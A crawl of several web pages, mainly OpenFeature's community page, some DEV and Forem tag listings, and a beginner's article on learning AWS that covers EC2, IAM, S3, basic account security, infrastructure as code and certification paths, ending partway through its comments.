Toolkit: Simplify Your State Management EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Apr 1 '23 A Beginner's Guide to React Redux Toolkit: Simplify Your State Management # react # redux # webdev # javascript 3 reactions Comments Add Comment 1 min read What's the difference between Nuxt js and Vite? EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Mar 20 '23 What's the difference between Nuxt js and Vite? # frontend # node # vue # react Comments Add Comment 1 min read why people always have a conflict about which is harder: front-end or back-end EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Mar 5 '23 why people always have a conflict about which is harder: front-end or back-end # webdev # laravel # web3 # react Comments 1 comment 1 min read Interview/test coming up for a Laravel internship EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Feb 21 '23 Interview/test coming up for a Laravel internship # ai # softwaredevelopment # developer # productivity Comments 1 comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://openfeature.dev/community/ | OpenFeature Community | OpenFeature Skip to main content Check out our KubeCon NA '25 recap, and our new training course! Docs Specification Ecosystem Community Support & Training Tutorials Blog Search Overview Mission and Vision Contributor Ladder Members Charters Governance Charter Technical Committee Charter Interested Parties Adopters Presentations Branding Guidelines Technical Guidelines Security Policy Overview On this page OpenFeature Community Table of Contents Getting Involved Contributing Contributing Prerequisites (DCO) Governing Bodies Interested Parties Communication Discussions Community Meetings Social Media Mailing List Roadmap License Logos and Brand Guide Special Interest Groups Associated Components and Implementations Adopters Code of Conduct Getting Involved If you are interested in being informed about the project or contributing, feel free to add yourself and/or your organization to Interested Parties . Contributing All contributors are welcome! Please see the contributing guidelines here . Contributing Prerequisites (DCO) The Cloud Native Computing Foundation (CNCF) requires all pull requests to be signed off using Developer Certificate of Origin (DCO) . By submitting pull requests, submitters acknowledge they grant the Apache License v2 to the code and are eligible to grant this license for all commits submitted in their pull requests. Governing Bodies Governance Committee (GC): Charter , Members Technical Committee (TC): Charter , Members Interested Parties If you are interested in being informed about the project or contributing, feel free to add yourself and/or your organization to Interested Parties . Communication Discussions For those who are brand new to OpenFeature and want to chat or get redirected to the appropriate place for a specific question, feel free to join the CNCF OpenFeature Slack channel . If you are new, you can create a CNCF Slack account here . Community Meetings Name Meeting Time Meeting Notes Discussions OpenFeature Community Meeting Every other Thursday at 3:00 pm London time Google Doc Zoom All upcoming OpenFeature meetings and events are on our public calendar . Social Media Follow us on social media and help us to spread the word! Please use the #openfeature hashtag or mention our accounts when you share the content. BlueSky: OpenFeature Twitter: @openfeature LinkedIn: OpenFeature YouTube: OpenFeature Mailing List Join our (low-traffic) CNCF mailing list to stay up to date on announcements, discussions, and more. Roadmap The project roadmap is available here . New initiatives require an accepted OpenFeature Enhancement Proposal (OFEP) . A community decision will then be made as documented in Decision Making . License All OpenFeature projects are shipped under the permissive Apache License v2 as CNCF IP Policy dictates. This blog post explains the reasoning behind choosing this license. Refer to CONTRIBUTING.md for details on code attribution. Logos and Brand Guide The OpenFeature logos and brand guide can be found in the branding guidelines . Special Interest Groups You can find us in the #openfeature channel on the CNCF Slack Workspace. You can join the CNCF Slack Workspace by registering here . Notes and recordings from previous meetings can be found below: Meeting notes Recordings CNCF Hosted Project Community Chapter Associated Components and Implementations The OpenFeature specification defines abstractions and interfaces for the purposes of flexibly integrating with various feature flag management systems, as well as with tools related to feature flag evaluation (such as telemetry and logging). In order to maintain neutrality and no/low dependencies , implementations of these abstractions should not be included in SDKs. Such implementations may exist in the "contribs" repository for their respective language (ie: https://github.com/open-feature/js-sdk-contrib ) or in other repositories not owned by the OpenFeature organization. We recommend implementations be open source, but that's not a requirement. Adopters Please refer to Adopters list Code of Conduct We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, color, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. The project and its community abide by the Code of Conduct . This Code of Conduct is adapted from the Contributor Covenant , version 2.1, available here . Edit this page Next Mission and Vision Getting Involved Contributing Contributing Prerequisites (DCO) Governing Bodies Interested Parties Communication Discussions Community Meetings Social Media Mailing List Roadmap License Logos and Brand Guide Special Interest Groups Associated Components and Implementations Adopters Code of Conduct Sections Docs Specification Community Tutorials Community BlueSky Twitter LinkedIn Join us on Slack YouTube More GitHub Trademarks © 2026 OpenFeature is a Cloud Native Computing Foundation incubating project | Documentation Distributed under CC BY 4.0 | All Rights Reserved | 2026-01-13T08:49:26 |
https://dev.to/t/architecture/page/77 | Architecture Page 77 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Architecture Follow Hide The fundamental structures of a software system. Create Post Older #architecture posts 74 75 76 77 78 79 80 81 82 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Diagrams as Code Just Make Sense Cesar Garza Cesar Garza Cesar Garza Follow Nov 25 '25 Diagrams as Code Just Make Sense # tooling # architecture # documentation # productivity 2 reactions Comments Add Comment 4 min read Event Modeling: Visible Issues and My Vision Maksim Matlakhov Maksim Matlakhov Maksim Matlakhov Follow Oct 23 '25 Event Modeling: Visible Issues and My Vision # eventmodeling # architecture # softwaredevelopment # eventdriven Comments Add Comment 4 min read How to Design and Develop a Bidding App for Mobile and Web Aarti Jangid Aarti Jangid Aarti Jangid Follow Oct 25 '25 How to Design and Develop a Bidding App for Mobile and Web # mobile # design # webdev # architecture Comments Add Comment 5 min read 🧱 Lesson 9A - Login and Authentication (Angular) Farrukh Rehman Farrukh Rehman Farrukh Rehman Follow Nov 27 '25 🧱 Lesson 9A - Login and Authentication (Angular) # tutorial # architecture # security # angular Comments Add Comment 11 min read Refactoring Legacy: Part 2 - Tell, Don't Ask. (Server Driven UI) Paul Clegg Paul Clegg Paul Clegg Follow Nov 28 '25 Refactoring Legacy: Part 2 - Tell, Don't Ask. (Server Driven UI) # webdev # php # architecture # distributedsystems 2 reactions Comments Add Comment 13 min read How to ensure citation accuracy in LangGraph supervisor responses using structured RAG tool outputs? Vishal Anand Vishal Anand Vishal Anand Follow Oct 23 '25 How to ensure citation accuracy in LangGraph supervisor responses using structured RAG tool outputs? # agents # tooling # architecture # llm Comments Add Comment 4 min read Unlocking Seamless & Secure Access: Introducing Generalized OIDC Authentication in Apache DolphinScheduler Chen Debra Chen Debra Chen Debra Follow Oct 23 '25 Unlocking Seamless & Secure Access: Introducing Generalized OIDC Authentication in Apache DolphinScheduler # architecture # opensource # security Comments Add Comment 7 min read Detached agent chains that work like people do Antti Kaipila Antti Kaipila Antti Kaipila Follow Nov 5 '25 Detached agent chains that work like people do # systemdesign # agents # architecture # ai Comments 2 comments 7 min read Two Databases, No Drama: The Story of a Calm Migration Debojit Kaushik Debojit Kaushik Debojit Kaushik Follow Oct 23 '25 Two Databases, No Drama: The Story of a Calm Migration # architecture # dynamodb # database # migration Comments Add Comment 5 min read Improving Azure Service Bus Development with AsbFlow Felipe Mattioli Felipe Mattioli Felipe Mattioli Follow Oct 23 '25 Improving Azure Service Bus Development with AsbFlow # opensource # dotnet # architecture # azureservicebus Comments Add Comment 4 min read What is Nuxeo? A brutally honest assessment from 10+ years of implementation Koffi Stanislas Koffi Stanislas Koffi Stanislas Follow Nov 26 '25 What is Nuxeo? A brutally honest assessment from 10+ years of implementation # java # programming # nuxeo # architecture Comments Add Comment 6 min read React vs ReactDOM: What’s the Difference? A Deep Dive Into How They Actually Work Together Sushant Gaurav Sushant Gaurav Sushant Gaurav Follow Nov 25 '25 React vs ReactDOM: What’s the Difference? A Deep Dive Into How They Actually Work Together # react # programming # architecture # javascript 10 reactions Comments 1 comment 4 min read I Thought My API Was Secure. I Was Wrong. Nitin N. Nitin N. Nitin N. Follow Nov 26 '25 I Thought My API Was Secure. I Was Wrong. # api # security # architecture # productivity Comments Add Comment 1 min read Securing Enterprise AI Agents with Unique Identities in the Model Context Protocol (MCP) Om Shree Om Shree Om Shree Follow Nov 27 '25 Securing Enterprise AI Agents with Unique Identities in the Model Context Protocol (MCP) # ai # mcp # programming # architecture 25 reactions Comments Add Comment 7 min read MCP Weekly: Enterprise Adoption, Agent Coordination, and Power BI’s Big Leap Om Shree Om Shree Om Shree Follow Nov 27 '25 MCP Weekly: Enterprise Adoption, Agent Coordination, and Power BI’s Big Leap # news # ai # architecture # discuss 17 reactions Comments Add Comment 4 min read Multitenancy in Yii2: Practical Guide and Code Examples Antonio Antonio Antonio Follow Nov 26 '25 Multitenancy in Yii2: Practical Guide and Code Examples # tutorial # php # architecture # database Comments 1 comment 2 min read System Design - Authentication Mudit Garg Mudit Garg Mudit Garg Follow Nov 26 '25 System Design - Authentication # architecture # security # systemdesign Comments Add Comment 2 min read Real-Time (S2S) vs Cascading (STT/TTS) Voice Agent Architecture Elijah Atamas Elijah Atamas Elijah Atamas Follow for Softcery Nov 5 '25 Real-Time (S2S) vs Cascading (STT/TTS) Voice Agent Architecture # systemdesign # ai # architecture # machinelearning Comments Add Comment 15 min read General Delta Update Mechanism canonical canonical canonical Follow Nov 26 '25 General Delta Update Mechanism # architecture # programming # nop # mda Comments Add Comment 4 min read 10x Growth Doesn’t Come From More Tools — It Comes From Removing Friction Yaseen Yaseen Yaseen Follow Nov 26 '25 10x Growth Doesn’t Come From More Tools — It Comes From Removing Friction # productivity # architecture # devops # ai Comments Add Comment 2 min read Monólito vs Microsserviços: Quando Usar Cada Arquitetura Alex Fernandes Alex Fernandes Alex Fernandes Follow Oct 22 '25 Monólito vs Microsserviços: Quando Usar Cada Arquitetura # architecture # development # programming Comments Add Comment 3 min read GraphBit’s Agentic AI Mechanisms Compared to Other Agent Frameworks Yeahia Sarker Yeahia Sarker Yeahia Sarker Follow Nov 26 '25 GraphBit’s Agentic AI Mechanisms Compared to Other Agent Frameworks # agents # rust # architecture # performance Comments Add Comment 2 min read Jenis-Jenis Aplikasi dan Arsitekturnya Nandan Ramdani Nandan Ramdani Nandan Ramdani Follow Oct 23 '25 Jenis-Jenis Aplikasi dan Arsitekturnya # software # architecture # application # webdev Comments Add Comment 2 min read Very Cool API Design Overview Evan Lausier Evan Lausier Evan Lausier Follow Nov 24 '25 Very Cool API Design Overview # api # design # designpatterns # architecture 4 reactions Comments Add Comment 1 min read You probably don‘t need controlled forms Aya Tanaka Aya Tanaka Aya Tanaka Follow Oct 24 '25 You probably don‘t need controlled forms # architecture # javascript # react 1 reaction Comments Add Comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://future.forem.com/t/smarthomes | Smarthomes - Future Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close # smarthomes Follow Hide Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Smart Meters em Condomínios: Impactos Legais e Técnicos na Portabilidade até 2027 Ava Mendes Ava Mendes Ava Mendes Follow Dec 19 '25 Smart Meters em Condomínios: Impactos Legais e Técnicos na Portabilidade até 2027 # energy # smarthomes # iot # smartcities Comments Add Comment 7 min read How AI Assistants Are Transforming Everyday Life in 2025 Creative Soul Creative Soul Creative Soul Follow Nov 8 '25 How AI Assistants Are Transforming Everyday Life in 2025 # aitools # artificialintelligence2025 # smarthomes # aiproductivity Comments Add Comment 5 min read Dobot unveils $1,000 Rover X1 AI robot dog with smart tracking and multi-rolehome support Saiki Sarkar Saiki Sarkar Saiki Sarkar Follow Nov 5 '25 Dobot unveils $1,000 Rover X1 AI robot dog with smart tracking and multi-rolehome support # ai # robotics # smarthomes Comments Add Comment 2 min read Xiaomi AI Glasses hands-on: a promising first-gen product AR/VR News AR/VR News AR/VR News Follow Jul 22 '25 Xiaomi AI Glasses hands-on: a promising first-gen product # ai # arvr # wearables # smarthomes Comments Add Comment 1 min read New Meta lab is dedicated to advancing audio technologies for future AR and AI glasses AR/VR News AR/VR News AR/VR News Follow Jul 14 '25 New Meta lab is dedicated to advancing audio technologies for future AR and AI glasses # science # arvr # iot # smarthomes Comments Add Comment 1 min read loading... trending guides/resources Dobot unveils $1,000 Rover X1 AI robot dog with smart tracking and multi-rolehome support Smart Meters em Condomínios: Impactos Legais e Técnicos na Portabilidade até 2027 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account | 2026-01-13T08:49:26 |
https://dev.to/loujaybee/where-and-how-to-start-learning-aws-as-a-beginner-27ab | Where (And How) to Start Learning AWS as a Beginner - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Lou (🚀 Open Up The Cloud ☁️) Posted on Nov 18, 2019 • Originally published at thedevcoach.co.uk on Nov 18, 2019 Where (And How) to Start Learning AWS as a Beginner # cloud # devops # begineers # aws AWS (Amazon Web Services) is overwhelming. If you’re new to AWS you’ll know all too well the feeling of being lost and not knowing where to start. Today, we’re going to change that. We’re going to clear the mist of uncertainty and discuss everything you need to know to begin your learning journey on AWS. Today we’ll talk about three things that will help you start learning AWS. And they are: focusing on the core services, getting hands-on and structuring your learning. We’ll go through each area in a decent amount of detail, so that you have a great starting point for your learning. By the end of this article you’ll have an understanding of the core services of AWS, how to structure your learning around them and how to get up and running with some hands on experimentation. Last week, I attended an AWS Game day . An AWS Game day is an organised event designed to be a fun hands-on way to learn AWS… The game day was pretty impressive. The organisers setup various different AWS accounts with different services setup for the teams to experiment with. The goal was for each team to build services and consuming other teams services. As I sat there, with our teams junior developer, I was again reminded just how overwhelming AWS is. As we flicked back and forth between areas looking at our running servers, setting up new lambda functions, debugging application logs and system logs I can’t really imagine how anyone could mentally keep track. I found myself promising that I’d go back and explain the various services. But as always, it’s hard to find the time. The whole experience got me thinking: if I were to learn AWS again, how I would approach it. And after giving it some thought, my advice comes down to three things. So today we’re going to discuss the three things and give you a head start for learning AWS. Sound good? Then let’s start by discussing what AWS is. What Is AWS? AWS stands for Amazon Web Services. AWS is a range of computing products that allow you to operate tasks in the cloud, on demand. And currently, AWS have the biggest service offering of the cloud market, so you have everything from databases, to event queues, to basic website hosting. But, AWS is designed to be quite low-level. It’s not designed for the casual website builder. AWS is built for large enterprises to build their entire business on. And for that reason, it’s not particularly easy to get started with. Not only is AWS low-level, but there are many different services, and most of them even substitute each other. Which gives you many different choices, but the choice is only useful if you understand all the different services, and how they work. So given that we’ve got our work cut out for us, with all these different services, it begs the question: Where do we start? If we want to approach learning on AWS, with such a wide range of areas that we need to learn, what should we tackle first? Let’s cover that now… Where to Start Learning AWS? Do you remember that I mentioned the three things you should focus on when learning AWS? Let’s introduce those tips now, and they are: Learn core AWS services first Prioritise hands-on learning Structure your learning Don’t worry if these seem a bit high level, because we’ll dive into each point with a lot of detail. And speaking of diving in, let’s jump straight in and take a look at the first bullet point: learning core services first. Tip 1: Learn Core AWS Services First Within AWS many services are built on, or around other services. By now you might be thinking what I mean by “core services”, or how services are “built on” other ones, right? The best way to understand how services built on one another is to take an example, so let’s do that. AWS has a service called ECS (Elastic Container Service). ECS allows you to run container based services. When you run services on ECS, you can configure the host for your containers to run on. And one of the options is to run your host on EC2 (Elastic Cloud Compute). In this scenario, EC2 is the core service. And without knowing EC2, it’s going to make learning ECS is more difficult. Do you see what I mean? There are certain services that if you learn them, make interacting with all the other services more simple. All of the other services in AWS are sort of periphery services, that compliment or build on the others. And that’s why when it comes to learning AWS it’s really important that you learn the core services. If you spend too much time learning periphery services, you’ll struggle to see how the pieces fit together and you’ll generally have a more difficult learning experience. So I imagine by now you must be thinking: what are those core services then? And they are: EC2, IAM and S3. But, I promised you we’d go into details, so let’s go through and understand what each of those service does, and why it’s a core service… What is EC2? We had to start with EC2. EC2 is the flagship AWS product, and it’s where most of current AWS revenue comes from. So you might be wondering: Why is EC2 so popular? What does it do that’s so great? Let’s start with the name: EC2 stands for Elastic Compute Cloud (I won’t get caught up discussing the terrible name). Think of EC2 as a way to run a computer in the cloud. You can launch Linux machines, or Windows machines all on top of EC2. EC2 is having a computer at the push of a button. So let’s get back to our earlier question, why is EC2 so popular? And the answer is: flexibility. On EC2 you can run many different types of workloads. You can install WordPress, to run a website. Or you can install a database and store data, all directly on an EC2 machine. In fact, nearly everything you can imagine can be ran on EC2. But you might be wondering: If EC2 is so flexible, why don’t we run everything on EC2 and not have all these other services? And that’s a big question, but the short answer is that the other services are more tailored. For instance, you can run a database on EC2, but you’ll need to manage it yourself. So AWS offer their service, RDS which takes away some of the headache of maintaining your own database. But guess what? AWS run it under the hood on EC2! We could talk for a long time about EC2, but take my word for it: EC2 is very much a core service, and it’s worth your time to understand the nuances of how it works. But, we can’t only run machines in AWS, we’ll need other tools such as user permissions. And that’s where IAM comes in… What is IAM? AWS IAM Roles AWS IAM is how you manage permissions and access in AWS. In order to launch your EC2 instance from before, you need to have a user that has the appropriate access to do so. And to get access you need to use AWS IAM. But, IAM is deceptively complex. IAM isn’t only how users get access to do things in AWS, it’s also how you grant machines to talk to each other. For instance, if we look at EC2 again, an EC2 machine can be assigned a role. And that role then governs what that EC2 can and can’t do. Do you see what I mean about IAM being a core service? So let’s say that you do start digging into IAM, what should you be looking to learn? And the answer is: understanding the different IAM objects and their relationships. Within IAM you’ve got: users, groups, roles and policies and they’re all related somehow. Let me give you an example… A user can be in a group, and that group can have access policies which are granted to the user. But, a user can also have policies directly. Both of these approaches have pro’s and con’s. For instance, attaching a policy to a user directly means that you’ll have to update many users if you want to give them the same permissions. Understanding these nuances is key to getting your head around IAM. Again, I hope you can start to see why IAM is a core service, and why it should be worth your time to learn. But with EC2 and IAM in the bag, let’s move on now to the third core service, and that’s S3. But what is S3? What is S3? Using AWS for zip files S3 is another deceptively versatile service, which allows you to store files in a flexible way. S3 can be used to host websites, store assets such as images, and even log files for your application. If you ever need simple persistence for files, S3 is probably the answer. The reason that S3 is a core service to wrap your head around is again because of it’s versatility. Remember when we talked about services being built on or around others? Let me give you a few examples where S3 is the basis for other AWS services. For instance, if you want to use AWS Redshift (a querying tool) you’ll need to put your data in S3. Want to get access logs for your AWS account? The data will be in S3. Want a backup of your RDS database? S3 again. Want to host a static website? S3. Want to turn on logs for your load balancer? Yep, you guessed it: S3. Okay, you get the point. But in summary, so many services in AWS are built around S3. So it makes sense to learn S3 first, otherwise working with other AWS services will be more difficult when you suddenly realise that you need to understand how S3 works to be productive. And with that discussion about S3, that wraps up this whole section on core services. But, before we move on, let’s just briefly talk about some of the other services at a high level… What Other AWS Services Should You Keep an Eye On? It was a tough choice picking the “core” services, as it will depend on your industry and company which services you use. But almost certain that you’ll be using EC2, IAM and S3 at some point. But, they’re not the only services, so let’s quickly give a hat-tip to the other services that should be next on your hit list after those three. And they are… CloudWatch — The built-in AWS monitoring tool. Route 53 — Domain purchasing and DNS routing. Allows you to point your website or server to a domain name. RDS — The AWS hosted database solutions. Has a range of databases from SQL to document-based. CloudFormation — AWS built-in Infrastructure as Code. Create resources by writing your infrastructure as a JSON template and tell AWS to create it. To understand CloudFormation you need to understand infrastructure as code, if you’re interested in what that is, check out the article: Infrastructure As Code: A Quick And Simple Explanation. for more details And that concludes part one, which is to focus on core services. The take home point is: AWS has central services that the other services depend on. If you establish which services these are, and prioritise focusing your time and energy on those, you’re going to get to grips with AWS much faster. Now that you know the core services, you’ll want to know a place to start learning. But, before you dive in there are a few things you should know so that you don’t make some fatal mistakes in your setup… Tip 2: Get Hands on With AWS Put simply: the best way to get setup and learning AWS is by getting hands-on. But in order to get hands-on, you’ll need to ensure that everything in your account is setup correctly. Many first-time users of AWS make the same mistakes. Their mistakes usually lead to them getting a large bill, or getting their accounts hacked simply because they didn’t know about a few precautionary steps they should take to secure their accounts. Unfortunately everything doesn’t simply come out of the box with AWS, so you’re going to have to put in some work to get your account setup. We’ve talked about account setup before, so if you want to read the dedicated article to AWS account setup you can find it here: Your personal AWS setup (and how to not get hacked) But before we dive into the details, let me just share with you what we’re going to talk about: The root account, and why you shouldn’t use it. Access keys, and why you should be very careful where you store them. MFA , and how it protects your account from getting hacked. Infrastructure As Code, and how it makes your hands-on learning easier. Sound good? Okay, let’s jump in… The Root Account AWS Root Login Your root account is the one you sign up to AWS with. The reason the root account is so important is because it has god access to everything. If your root account is compromised the attacker can do pretty much whatever they want. To counter-act the problem of getting your root account hacked, the first thing you’ll want to do when you’ve setup your AWS account is to create a new user and restrict it’s access. Then you will use that newly created user to access AWS, not your root account. AWS Credentials and Access AWS Access Keys The next topic we need to talk about, is your access to AWS. There are two main ways to interact with AWS, programatically, and through the interface. You’ll likely start off by poking around in the AWS interface for a while, but there’ll come a time where you need to access a resource and you’ll need programatic access. And that’s where the idea of access keys comes in. An access key and secret is a pairing of two strings that are used to grant access to AWS. Access keys allow you to read information about your resources, publish resources, etc. Because they grant access you should be very careful where you put these keys. MFA AWS MFA MFA stands for multi-factor authentication. With MFA enabled you cannot access your account without having another physical device that you need with you. When you enable MFA for your account it ensures that if your password is compromised, at least your attacker needs your phone, or a device to log into your account. Enabling MFA is as simple as a few button clicks from within the IAM interface, so you’ll want to do right as you setup your account. Learn Infrastructure First Terraform When it comes to learning AWS, the instinctive approach is to start clicking around in the interface to create resources. But, in my experience the poke-around type of learning process can become very frustrating and difficult very quickly. But why is clicking around so frustrating? And there are a few reasons. The UI for AWS can be difficult, and it often undergoes change — what you learn today might be gone tomorrow. Also behind the scenes AWS can do magical things like launching many services on your behalf — good luck finding those resources to delete them later. So if clicking around in the interface can become painful, what is a better choice? Learning infrastructure-as-code. Infrastructure as code allows you to define your resources as code, and store them in version control. With infrastructure as code setup you can easily see the changes you’ve made, roll back and delete all your resources. Which can be far less stressful than randomly clicking around in AWS. For this type of infrastructure as code (provisioning) you have two main choices: CloudFormation and Terraform . CloudFormation is an AWS owned tool, whereas Terraform is an open source alternative. I personally recommend Terraform as it’s not tied to the AWS ecosystem and has some nice functionality. But whole topic of setting up your account with infrastructure as code is an article in itself, which is why I’ve written it! If you want to know more about why I recommend learning infrastructure as code before AWS, check out: 5 Important Reasons To Learn Terraform Before Cloud Computing. Or if you’re totally new to infrastructure as code, be sure to check out: Infrastructure As Code: A Quick And Simple Explanation. And lastly, if you want to follow my advice, and start with Terraform be sure to check out: Learn The 6 Fundamentals Of Terraform — In Less Than 20 Minutes. Part 3: Structure Your AWS Learning And the last of my three tips for today is to structure your learning. If you don’t structure your learning, you risk getting lost in a sea of details and spending more time learning unnecessary areas whilst neglecting the right ones. But how do we add that structure to our learning? One of the best ways to add that structure is to take a look at the different AWS exams. Now, I know what you’re thinking: Lou, I don’t know the first thing about AWS, so why would I take an exam? And that’s a fair challenge, but let me explain why the exams are a great logical starting point. AWS has done a lot of thinking about their exams, and as a result they’ve created a really useful structure. The exams start with foundational skills before becoming specialised in different areas. Which makes them a good reference to structure your learning on. Let’s me show you what I mean, and take a look at the various different exams… Understanding the AWS exam structure The AWS exams are broken down into different categories. The associate exams are your more entry level exams, and the professional exams build on top of the associate exams with more detail. You can also go down a specialty route and learning a specific topic like Networking or Security. Take a look… AWS Exams Okay, seeing all of the exams is nice, but we know that you’re just starting out, so where should you start as a beginner? The best place to start as a complete beginner is with the Cloud Practitioner exam. The Cloud Practitioner exam is going to give you a solid basis in AWS. When you’ve completed the Cloud Practitioner exam, you can then take a look at one of the associate exams, Architect, SysOps or Developer depending on your preference. Cloud Practitioner So let’s say that I’ve done a decent job to convince you that the exams are a good place to start in structuring your learning. Where would you go to begin? One of the best current learning websites for these courses is ACloudGuru. ACloudGuru have a ton of resources on where to start. I’d recommend watching their certification prep guide then you could go ahead and try out the cloud practitioner course . In the interest of fairness, there are other dedicated services for cloud training, like Cloud Academy and Linux Academy . Which might suit your needs better, so be sure to check those out too. I have just found ACloudGuru to be straight to the point, and consistent which is why I recommend it. (Disclosure: I am not affiliated with ACloudGuru, and I have no incentive to recommend them other than the fact that I use, and really like their product). Learn AWS the Easy Way And that concludes todays look at where to start when learning AWS. I really do hope that helped nudge you in the right direction when it comes to learning AWS. Since we covered a lot today, before you go, let’s just recap the main points. The three tips for starting to learn AWS are: Focusing on the core services (EC2, S3 and IAM) Getting hands-on and experimenting. Using the AWS exams to give your learning structure. If you stick to these three tips, you won’t go far wrong, and you’ll be up and running in no time. Just remember to setup your account properly (as we’ve already discussed) and you’re golden. Learning AWS is tough. And you won’t learn everything overnight, so stick at it and let me know how you get on. The post Where (And How) to Start Learning AWS as a Beginner appeared first on The Dev Coach . Lou is the editor of The Cloud Native Software Engineering Newsletter a Newsletter dedicated to making Cloud Software Engineering easier, every 2 weeks you get news and articles that cover the fundamental topics of Cloud Native in your inbox. Speak soon, Cloud Native friend! Top comments (7) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand Lewis kori Lewis kori Lewis kori Follow What you do makes a difference, and you have to decide what kind of difference you want to make. Location Nairobi, Kenya. Pronouns He/Him Work Software engineer at Neal Street Technologies Joined Jul 15, 2019 • Nov 18 '19 Dropdown menu Copy link Hide This is a really awesome article. Thank you for sharing. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Follow Re-thinking developer experience • Product @Gitpod 🍊 Helping folks get their start in cloud • @openupthecloud ☁️ AWS Community Builder 🛠 Replies in GIFS 😃 Email contact@louisjohnbichard.co.uk Location London Education Loughborough University Work Product @ Gitpod Joined Aug 16, 2017 • Jan 24 '20 Dropdown menu Copy link Hide Thanks for the kind words Lewis! Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Lauren Fosgett Lauren Fosgett Lauren Fosgett Follow Wearer of many hats. Business Analyst. Product Manager. Location Phoenix Work IT Business Analyst Joined Nov 11, 2018 • Nov 19 '19 Dropdown menu Copy link Hide This is exactly the kind of guide I've been looking for! Thanks for making this so accessible. Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Follow 